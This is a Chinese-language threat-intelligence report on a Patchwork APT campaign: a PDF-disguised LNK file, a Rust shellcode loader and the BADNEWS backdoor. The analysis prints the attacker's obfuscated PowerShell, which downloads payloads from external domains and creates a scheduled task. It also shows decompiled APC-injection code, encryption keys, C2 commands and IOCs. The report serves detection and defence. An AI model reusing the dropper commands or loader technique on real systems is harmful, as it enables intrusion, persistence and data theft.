概述
Patchwork
别名摩诃草
、白象
、Dropping Elephant
等,被普遍认为是一个来自于南亚地区的境外APT组织。该组织主要针对政府机构、军事、能源、金融、科研教育等领域进行攻击,其中以科研教育和政府机构为主。目标国家包括中国、巴基斯坦等亚洲地区国家。其最早攻击活动可以追溯到2009年11月,至今仍然活跃,该组织在近期的攻击活动中也在不断尝试新的加载方法以及多种组件的不同组合。
瑞星威胁情报平台在日常的威胁狩猎过程中再次捕获到了Patchwork
组织对与我国科教领域的攻击样本,并捕获到基于Rust
的新载荷,攻击者使用伪装成pdf的lnk文件
作为初始载荷,执行PowerShell
代码下载诱饵文档和加载器并创建计划任务实现持久化。其中加载器由Rust
语言编写,负责在内存中执行Donut
生成的ShellCode
,最终在内存中执行该组织自制的后门BADNEWS
以实现远控和信息窃取。
ATT&CK 矩阵
战术 | 技术 | 具体行为 |
---|---|---|
TA0002 -执行 |
T1059 -命令和脚本解释器 |
执行powershell 命令 |
TA0002 -执行 |
T1204 -用户执行 |
需要用户主动执行 |
TA0003 -持久化 |
T1053 -计划任务/作业 |
创建计划任务定期启动恶意程序实现本地持久化 |
TA0005 -防御规避 |
T1036 -伪装 |
修改图标快捷方式伪装成pdf 文档 |
TA0005 -防御规避 |
T1027 -混淆过的文件或信息 |
恶意载荷编码混淆后内嵌在执行文件内 |
TA0007 -环境发现 |
T1083 -枚举文件和目录 |
获取指定路径下目录和文件信息 |
TA0007 -环境发现 |
T1082 -收集系统信息 |
收集被入侵主机的操作系统和硬件信息 |
TA0007 -环境发现 |
T1016 -收集系统网络配置 |
收集被入侵主机的MAC 地址和IP 地址 |
TA0007 -环境发现 |
T1033 -探测系统所有者/用户 |
收集被入侵主机的用户名 |
TA0009 -收集信息 |
T1113 -屏幕截图 |
获取屏幕截图 |
TA0011 -指挥与控制 |
T1573 -加密通道 |
通过加密算法来隐藏命令和控制流量 |
TA0010 -外传信息 |
T1020 -自动外传 |
自动发送收集到的受害者机器信息 |
TA0010 -外传信息 |
T1041 -通过C2通道外传 |
C2通道同时可以接收木马回传的受害者机器信息 |
攻击事件详情
本次捕获的初始载荷是名为COMAC_Technology_Innovation.lnk
的恶意快捷方式文件,疑似通过钓鱼邮件投放。快捷方式被运行后会调用PowerShell
下载诱饵文档,诱饵文档与COMAC科技创新周简介
有关,同时下载下一阶段的Rust加载器
,在其中进行后续的攻击动作。
图:诱饵文档内容
攻击流程
样本分析
1. 初始载荷LNK文件
字段 | 内容 |
---|---|
原始文件名 | COMAC_Technology_Innovation.lnk |
文件大小 | 3.39 KB (3470 bytes) |
文件MD5 | 78253b8c16f81768b747c6830ebd455a |
文件类型 | lnk |
主要功能 | 下载诱饵文档以及后续载荷加载器 |
该快捷方式点击后会调用powershell
执行一段命令,Patchwork
对其进行了有限的混淆,调用命令都是通过简写,猜测是为了规避静态检测。
$ProgressPreference = 'SilentlyContinue';
i''w''r https://xingyu.ghshijie.com/cvbcolo09/tqerwer8 -OutFile C:\\\\Users\\\\Public\\\\COMAC_Technology_Innovation.pdf;
s''a''p''s C:\\\\Users\\\\Public\\\\COMAC_Technology_Innovation.pdf;
i''w''r https://Yuxuan.ghshijie.com/jlytw07sev/fuol91mv -OutFile C:\\\\Users\\\\Public\\\\sam;
r''e''n -Path C:\\\\Users\\\\Public\\\\sam -NewName C:\\\\Users\\\\Public\\\\Update.exe;
c''p''i C:\\\\Users\\\\Public\\\\COMAC_Technology_Innovation.pdf -destination .;
s''c''h''ta''s''k''s /c''r''e''a''t''e /S''c minute /T''n TaskReportingUpdate /t''r "C:\\\\Users\\\\Public\\\\Update";
e''r''a''s''e *?f.?n?
PowerShell
代码主要作用如下:
-
访问
hxxps://xingyu.ghshijie.com/cvbcolo09/tqerwer8
下载文件到本地,路径为C:\\Users\\Public\\COMAC_Technology_Innovation.pdf
,随后将其打开该文档为诱饵文件。 -
访问
hxxps://Yuxuan.ghshijie.com/jlytw07sev/fuol91mv
下载文件至本地,路径为C:\\Users\\Public\\sam
,随后将其重命名为Update.exe
,此为后续运行的Rust加载器。 -
将
C:\\Users\\Public\\COMAC_Technology_Innovation.pdf
文件复制到当前运行目录下。 -
使用
schtasks
命令创建一个每分钟运行一次的计划任务,任务名称为TaskReportingUpdate
,执行下载的之前被重命名的Update.exe
。 -
删除初始载荷lnk文件
该组织使用此类lnk方式作为钓鱼的初始载荷已经有很长一段时间,根据我们的观察却是在5月时才加入了初始载荷清理语句,而且其在本次中也犯了个小错误,即最后企图调用Remove-Item
删除初始lnk诱饵载荷时因为本次载荷名称并不符合其匹配语法所以并未删除成功,其应当在文件名后加上伪装后缀.pdf
以满足匹配。以往的几次攻击中都未曾出现此错误,疑似攻击者疏忽或临时更改导致lnk文件未被正常删除,可见该组织并没有完整的测试流程便匆匆投入了使用,不过也与其组织画像相符,我们也将持续追踪其后续攻击。
2. Rust加载器
字段 | 内容 |
---|---|
原始文件名 | fuol91mv |
文件大小 | 692.50 KB (709120 bytes) |
文件MD5 | c58a7c4baffa401c71a1a333ecd0f956 |
文件类型 | exe |
病毒名 | Trojan.Injector/x64!1.10084 |
主要功能 | 内存解密加载后续载荷 |
lnk最终通过计划任务执行的便是改名为Update.exe
的fuol91mv
,是该组织使用Rust
编写的一个加载器,其主要作用为解密载荷后,使用内核函数分配内存空间,将解密后的ShellCode
写入内存,并通过APC
机制执行最终ShellCode
。
sub_140001170(v12, &unk_14003F2A8, aAm2uiegdx3lrye, 387712i64);
sub_140005190(
(unsigned int)v11,
(unsigned int)v12,
(unsigned int)"Failed to decode Base64",
23,
(__int64)&off_14009DE88);
v6 = sub_14000F240(v11);
v7 = v0;
v1 = sub_14000F240(v9);
sub_140005E70((unsigned int)v13, v6, v7, v1, v2, (__int64)v10, 16i64);
memset(&RegionSize[14], 0, 32);
BaseAddress = 0i64;
RegionSize[0] = sub_14000F140(v13);
NtAllocateVirtualMemory((HANDLE)0xFFFFFFFFFFFFFFFFi64, &BaseAddress, 0i64, RegionSize, 0x3000u, 0x40u);
v4 = BaseAddress;
Buffer = (PVOID)sub_14000F150(v13);
NumberOfBytesToWrite = sub_14000F140(v13);
memset(&RegionSize[2], 0, 32);
NtWriteVirtualMemory((HANDLE)0xFFFFFFFFFFFFFFFFi64, v4, Buffer, NumberOfBytesToWrite, 0i64);
RegionSize[1] = (ULONG_PTR)BaseAddress;
memset(&RegionSize[6], 0, 64);
NtQueueApcThread((HANDLE)0xFFFFFFFFFFFFFFFEi64, (PKNORMAL_ROUTINE)BaseAddress, BaseAddress, 0i64, 0i64);
NtTestAlert();
sub_140004DF0(v13);
sub_140004DF0(v11);
sub_140004DF0(v9);
该加载器释放的ShellCode经分析为开源项目Donut
生成,该组织在历次攻击中也多次使用该框架生成ShellCode加载后续载荷。其在后续ShellCode中继续解密载荷并加载,最终载荷则是该组织的独有远控BADNEWS
。
3. BADNEWS后门
字段 | 内容 |
---|---|
文件大小 | 255.37 KB (261496 bytes) |
文件MD5 | 0ffa8c368e975525c3a780892d65d60c |
文件类型 | exe |
病毒名 | Backdoor.[Patchwork]BadNews!1.10080 |
主要功能 | 收集信息执行指令 |
运行之初动态加载ShowWindow
隐藏运行窗口,之后创建互斥体RfmbFv8D
防止多开。
v154 = 0;
strcpy(Block, "User32.dll");
*(_DWORD *)&ProcName[11] = 0;
strcpy(ProcName, "ShowWindow");
*(_QWORD *)&v150[12] = 0i64;
strcpy(v150, "FindWindowA");
ModuleHandleA = GetModuleHandleA(Block);
ShowWindow_sub = (__int64 (__fastcall *)(_QWORD, _QWORD))GetProcAddress(ModuleHandleA, ProcName);
FindWindowA_sub = (__int64)GetProcAddress(ModuleHandleA, v150);
LODWORD(v93) = 29555;
si128 = _mm_load_si128((const __m128i *)&xmmword_140039110);
v4 = ((__int64 (__fastcall *)(__m128i *, _QWORD))FindWindowA_sub)(&si128, 0i64);
ShowWindow_sub(v4, 0i64);
if ( !CreateMutexA(0i64, 1, "RfmbFv8D") )
return 0;
通过调用GetSystemFirmwareTable
获取系统信息表之后计算出GUID
。
*(__m128i *)ProcName = _mm_load_si128((const __m128i *)&xmmword_140039180);
strcpy(v27, "eTable");
qword_140040090 = (__int64 (__fastcall *)(_QWORD, _QWORD, _QWORD, _QWORD))GetProcAddress(ModuleHandleA, ProcName);
v4 = qword_140040090(1381190978i64, 0i64, 0i64, 0i64);
v5 = v4;
if ( v4 )
{
if ( (unsigned int)qword_140040090(1381190978i64, 0i64, v2, v4) )
获取到的结果先进行base64
编码然后通过AES-CBC-128
加密,Key为728kpBvLt9ncjp5l
IV为9L8xd3G5obLRuXfk
,此加密方式也应用于之后获取的其他信息中。
if ( v148 <= 0xF )
v6 = v147;
else
v6 = (__int64 *)v147[0];
v7 = -1i64;
v8 = -1i64;
do
++v8;
while ( *((_BYTE *)v6 + v8) );
Base64Encode_4021B0(v144);
AESEnCode_sub(v125, v144);
sub_140010960(v107);
接着获取本机的内网IP
与用户名
。
while ( *((_BYTE *)v6 + v8) );
Base64Encode_4021B0(v144);
AESEnCode_sub(v125, v144);
GetAdaptersInfo_140010960(v107);
v9 = v107;
if ( v109 > 0xF )
v9 = (__int64 *)v107[0];
v10 = -1i64;
do
++v10;
while ( *((_BYTE *)v9 + v10) );
Base64Encode_4021B0(v141);
AESEnCode_sub(v122, v141);
GetUserName_140010560(v104);
通过查询以下网站获取本机的外网IP
并加密,获取失败则返回NA
。
调用GetVersion
获取系统版本信息。
通过查询hxxps://api.iplocation.net/?cmd=ip-country&ip=[获取到的外网IP]
得到IP所属国家。
将上述获取到的信息加密版本加上uedf=
的标识头后按照uedf=GUID#**#外网IP#**#内网IP#**#用户名#**#系统版本#**#IP所属国
格式存储,用于后续回传。
之后通过CreateThread
创建线程在线程中用POST的方式向hxxps://telsiairegion[.]xyz/1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php
传回上述收集数据,休眠5秒之后重复上述回传操作起到心跳包作用。
在主线程中将上述获取到的GUID加密并加上fufokin=
的标识头后发回C2,之后进入通信循环,接收C2发回的指令执行对应操作。
经过分析其执行功能如下
指令 | 功能 |
---|---|
3hdfghd1 | 读取指定文件并回传结果 |
3gjdfghj6 | 执行CMD指令并回传结果 |
3gnfm9 | 将收集到的数据按照hrtdat=%s(*0*)%s(*0*)%s 格式回传 |
3fgjfhg4 | 遍历指定目录并回传结果 |
3gnfjhk7 | 下载文件并执行并回传结果 |
3ngjfng5 | 下载文件并回传结果 |
3fghnbj2 | 截屏并回传 |
frgt45f | 创建进程执行指定CMD指令并回传结果 |
综上分析可以发现此次的BADNEWS
相比以往版本对功能做了些调整,但是改动也并不明显。比如原先三个通信线程只保留了一个回传基本信息维持心跳包的线程,远控线程改写到了主线程之中,执行硬编码cmd指令收集详细信息功能的线程移动到远控功能中并改写为创建线程执行指定cmd命令,并新增一个指定格式的数据回传指令,其依然有多处特征可以分辨出归属家族,比如其查询外网IP的方式,使用Base64
和AES-CBC-128
结合的加密方式,通信c2依旧是使用了很长的无意义路径并且是硬编码在代码中,其整体代码逻辑也及其相符,可以发现Patchwork
仍然在对BADNEWS
进行更新和完善。
攻击过程可视化(EDR)
瑞星EDR的威胁调查功能为恶意代码的溯源分析提供可视化的应用程序关系图,它可从任意事件或关键元素进行溯源并梳理攻击过程,定位恶意代码活动的关键链条。结合AI对攻击流程进行精准分析,全方位还原恶意代码如何从攻击面入侵、主机内如何持续性活动的完整攻击链。
Patchwork组织近期针对中国的攻击事件对比
在此前我们也追踪分析过多次Patchwork
组织针对中国的攻击活动并编写报告,根据近期报告总结其攻击方向与使用方式如下
时间 | 2023年12月 | 2024年6月 | 2024年7月(本次事件) |
---|---|---|---|
攻击行业 | 电力 | 科教 | 科教 |
初始载荷 | 恶意lnk文件 | 恶意lnk文件 | 恶意lnk文件 |
加载器语言 | Rust | Rust | Rust |
ShellCode加载方式 | 远程线程注入 | 创建纤程 | APC注入 |
ShellCode生成工具 | Donut | Donut | Donut |
最终载荷 | NorthStarC2后门 | NorthStarC2后门 | BADNEWS后门 |
根据上表我们可以发现该组织最近一年来针对中国的攻击热衷使用相似的lnk诱饵作为初始载荷攻击电力、科教等行业,并且会使用Rust
编写各种方式的加载器去加载Dount
生成的ShellCode
,然后使用其加载最终的远控木马。可以发现整个的攻击链条中大多都是公开工具的使用,自写加载器也较为简单有很多开源项目可以借鉴,也与其组织名称Patchwork
相符。据我们观察该组织使用的公开工具也并不仅仅只有这些,还有Remcos
、Quasar
等,而且其也在开发新的武器,如友商披露的Spyder加载器
。该组织在丰富其武器库上非常积极,其攻击也非常频繁活跃,是南亚地区威胁性较高的APT组织,我们也将持续追踪其最新动态。
总结
APT攻击有着针对性强、组织严密、持续时间长、高隐蔽性和间接攻击的显著特征,针对的目标都是具有重大信息资产,如国家军事、情报、战略部门和影响国计民生的行业如金融、能源等,国内相关政府机构和企业单位务必要引起重视,加强防御措施。
预防措施
-
不打开可疑文件。
不打开未知来源的可疑的文件和邮件,防止社会工程学和钓鱼攻击。
-
部署网络安全态势感知、预警系统等网关安全产品。
网关安全产品可利用威胁情报追溯威胁行为轨迹,帮助用户进行威胁行为分析、定位威胁源和目的,追溯攻击的手段和路径,从源头解决网络威胁,最大范围内发现被攻击的节点,帮助企业更快响应和处理。
-
安装有效的杀毒软件,拦截查杀恶意文档和木马病毒。
杀毒软件可拦截恶意文档和木马病毒,如果用户不小心下载了恶意文件,杀毒软件可拦截查杀,阻止病毒运行,保护用户的终端安全。
瑞星ESM目前已经可以检出此次攻击事件的相关样本。
- 及时修补系统补丁和重要软件的补丁。
沦陷信标(IOC)
-
MD5
78253B8C16F81768B747C6830EBD455A C58A7C4BAFFA401C71A1A333ECD0F956 0FFA8C368E975525C3A780892D65D60C
-
URL
hxxps://telsiairegion.xyz/1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php hxxps://xingyu.ghshijie.com/cvbcolo09/tqerwer8 hxxps://Yuxuan.ghshijie.com/jlytw07sev/fuol91mv
-
Domain
Yuxuan.ghshijie.com xingyu.ghshijie.com telsiairegion.xyz
-
瑞星病毒名
Trojan.Injector/x64!1.10084 Backdoor.[Patchwork]BadNews!1.10080